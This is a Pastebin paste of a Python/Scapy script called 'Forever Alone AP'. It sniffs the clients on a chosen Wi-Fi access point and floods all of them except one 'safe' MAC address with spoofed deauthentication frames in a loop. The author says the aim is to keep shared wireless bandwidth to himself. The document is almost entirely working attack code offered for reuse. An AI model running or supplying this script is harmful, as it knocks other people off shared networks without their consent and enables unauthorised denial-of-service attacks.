Advertisement
Guest User

FOREVER ALONE AP

a guest
Nov 20th, 2015
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.91 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #Author: @hcjuan04
  3. # =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ FOREVER ALONE AP =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
  4. # I wrote this just because I need wide broadband in shared WLAN !!
  5. # So how it works!
  6. # Requirements: Debian core OS, Python and Scapy.
  7. # This script sends deauthentication packets towards the clients connected to a specific AP
  8. #
  9. # How to Run it:
  10. # FAAP.py BSSID interface channel safe_STA
  11. #####BSSID = BSSID u r connected to - AP
  12. #####interface: a monitor interface capable of inject traffic
  13. #####Channel: the frequency channel the AP is working on
  14. #####safe_STA: the client MAC address
  15. # Feel free of share and modify
  16.  
  17. import sys, os, signal
  18. from multiprocessing import Process
  19. from scapy.all import *
  20. interface = ""
  21. observedclients = []
  22. BSSID='' # BSSID to F*ck
  23. interface='' # monitor interface
  24. Channel ='' # BSSID channel
  25. safe = '' # Safe STA
  26.  
  27. def sniffmgmt(p):
  28.     # if packet has 802.11 layer, and type of packet is Data frame
  29.     if p.haslayer(Dot11) and p.type == 2:
  30.         if p.addr3 == BSSID:
  31.             if p.addr2 not in observedclients:
  32.                 observedclients.append(p.addr2)
  33.                 print "[+] %s" %(p.addr2)
  34.  
  35. # Deauthentication method
  36. def deauth(bssid, client, count):
  37.     pckt = Dot11(subtype=12, addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=7)
  38.     cli_to_ap_pckt = None
  39.     if client != 'FF:FF:FF:FF:FF:FF' :
  40.         cli_to_ap_pckt = Dot11(subtype=12, addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth(reason=7)
  41.     print 'Sending Deauth to ' + client + ' from ' + bssid
  42.     if not count:
  43.         print 'Press CTRL+C to quit'
  44.     while count != 0:
  45.         try:
  46.             for i in range(4):
  47.                 # Send out deauth from the AP
  48.                 send(pckt)
  49.                 if client != 'FF:FF:FF:FF:FF:FF':
  50.                     send(cli_to_ap_pckt)
  51.             count -= 1
  52.         except KeyboardInterrupt:
  53.             break
  54.  
  55.  
  56. def main() :
  57.    
  58.     try :
  59.     while True:
  60.        
  61.         # Set channel
  62.         global observedclients
  63.         if observedclients != [] :
  64.             observedclients = []
  65.         os.system("iw dev %s set channel %s" % (interface, Channel))
  66.         # Get Clients
  67.         print "==================Forever Alone AP========================="
  68.         print "***************Clients From: %s *********" %(BSSID)
  69.         sniff(iface=interface, prn=sniffmgmt, timeout=25)
  70.         print observedclients
  71.         print "++++++++++++++++++Sending Deauth ++++++++++++++++++++++++++"
  72.         if observedclients != [] :
  73.             x=len(observedclients)
  74.             while (x > 0) :
  75.                 if observedclients[x-1] != safe:
  76.                     conf.iface = interface
  77.                     deauth(BSSID, observedclients[x-1], 1)
  78.            
  79.                 x=x-1
  80.         print observedclients
  81.         time.sleep(5) #Wait
  82.        
  83.     except KeyboardInterrupt:
  84.             print "FAAP terminated"
  85.  
  86.  
  87.  
  88. if __name__ == "__main__":
  89.     if len(sys.argv) != 5:
  90.         print "Usage python %s BSSID interface channel safe_STA" % sys.argv[0]
  91.             sys.exit(1)
  92.     BSSID = sys.argv[1]
  93.     interface = sys.argv[2]
  94.     Channel = sys.argv[3]
  95.     safe = sys.argv[4]
  96.     print "%s : %s : %s " % (BSSID, interface, Channel)
  97.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement